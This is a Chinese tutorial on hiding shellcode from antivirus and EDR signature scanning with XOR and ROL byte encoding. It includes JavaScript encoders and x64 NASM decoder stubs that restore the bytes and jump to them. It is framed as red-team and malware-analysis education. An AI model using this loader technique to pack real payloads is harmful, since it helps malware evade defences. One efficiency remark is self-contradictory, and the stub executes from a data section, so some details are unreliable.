为什么需要编码存储
直接将 Shellcode 十六进制字节写进源代码或二进制文件,常见特征扫描工具(AV / EDR)可以直接匹配已知字节序列识别载荷。对字节做简单变换后,原始特征不再出现在文件中,需要在运行时解码才能执行。
这是安全研究(红队测试、恶意软件分析)中最基础的混淆手段,理解它有助于防御侧编写检测规则。
单字节 XOR 编码(最常见)
原理:每个字节与固定 key 做异或,byte ^ key ^ key == byte,自逆。
// encode.js
const hexString = `e903000000cccc...`; // 原始 Shellcode 十六进制
const KEY = 0x5A;
function encodeXOR(hex, key) {
let result = '';
for (let i = 0; i < hex.length; i += 2) {
const b = parseInt(hex.substr(i, 2), 16) ^ key;
result += b.toString(16).padStart(2, '0');
}
return result;
}
function hexToNasmDb(hex) {
const lineLen = 16;
let out = 'shellcode:\n';
for (let i = 0; i < hex.length; i += lineLen * 2) {
const chunk = [];
for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) {
chunk.push('0x' + hex.substr(j, 2));
}
out += ` db ${chunk.join(', ')}\n`;
}
out += 'shellcode_len equ $-shellcode\n';
return out;
}
const encoded = encodeXOR(hexString, KEY);
console.log(hexToNasmDb(encoded));
对应 x64 NASM 解码 stub:
section .text
global _start
_start:
lea rsi, [rel shellcode]
mov rcx, shellcode_len
.decode:
xor byte [rsi], 0x5A ; 与 KEY 异或还原
inc rsi
loop .decode
lea rax, [rel shellcode]
jmp rax ; 跳转执行
section .data
shellcode:
db 0xb3, 0x59, 0x5a, ... ; 编码后的字节
shellcode_len equ $-shellcode
ROL(循环左移)编码
每字节循环左移 3 位,对应解码时循环右移 3 位(ROR 3):
function rol8(value, shift) {
shift &= 7;
return ((value << shift) | (value >> (8 - shift))) & 0xFF;
}
function encodeROL(hex, shift = 3) {
let result = '';
for (let i = 0; i < hex.length; i += 2) {
const b = rol8(parseInt(hex.substr(i, 2), 16), shift);
result += b.toString(16).padStart(2, '0');
}
return result;
}
x64 NASM 解码(ROR 3):
.decode:
ror byte [rsi], 3
inc rsi
loop .decode
XOR + ROL 组合
先 XOR 再 ROL,解码时反序:先 ROR 再 XOR:
function encodeCombined(hex, key = 0x5A, shift = 3) {
let result = '';
for (let i = 0; i < hex.length; i += 2) {
let b = parseInt(hex.substr(i, 2), 16);
b ^= key;
b = rol8(b, shift);
result += b.toString(16).padStart(2, '0');
}
return result;
}
对应解码 stub:
.decode:
mov al, [rsi]
ror al, 3 ; 先 ROR(逆 ROL)
xor al, 0x5A ; 再 XOR(逆 XOR)
mov [rsi], al
inc rsi
loop .decode
注意事项
-
单字节 key 的局限:如果 Shellcode 里本来就包含 key 值的字节(如原始字节恰好 ==
0x5A),编码后变为0x00,仍然可能产生空字节。可以换一个不在原始字节中出现的 key,或改为多字节 rolling key。 -
default rel(NASM):x64 NASM 中建议加default rel或显式用[rel label]引用数据,否则 64 位相对地址可能超出 32 位范围导致链接错误。 -
loop指令:loop在 x64 默认使用rcx计数器,每次dec rcx; jnz,效率低于dec rcx; jnz。大量数据时可用dec rcx / jnz替代。
完整流程
原始 Shellcode bytes
↓ JS 编码脚本(XOR / ROL)
编码后的 db 数组(写进 .asm 文件)
↓ NASM 汇编编译
包含解码 stub + 编码数据的二进制
↓ 运行时执行
stub 循环还原字节 → 跳转执行原始 Shellcode
这种 stub + payload 的结构是安全研究中分析加载器(Loader)的基础模型,理解它有助于识别真实样本中的解码阶段。
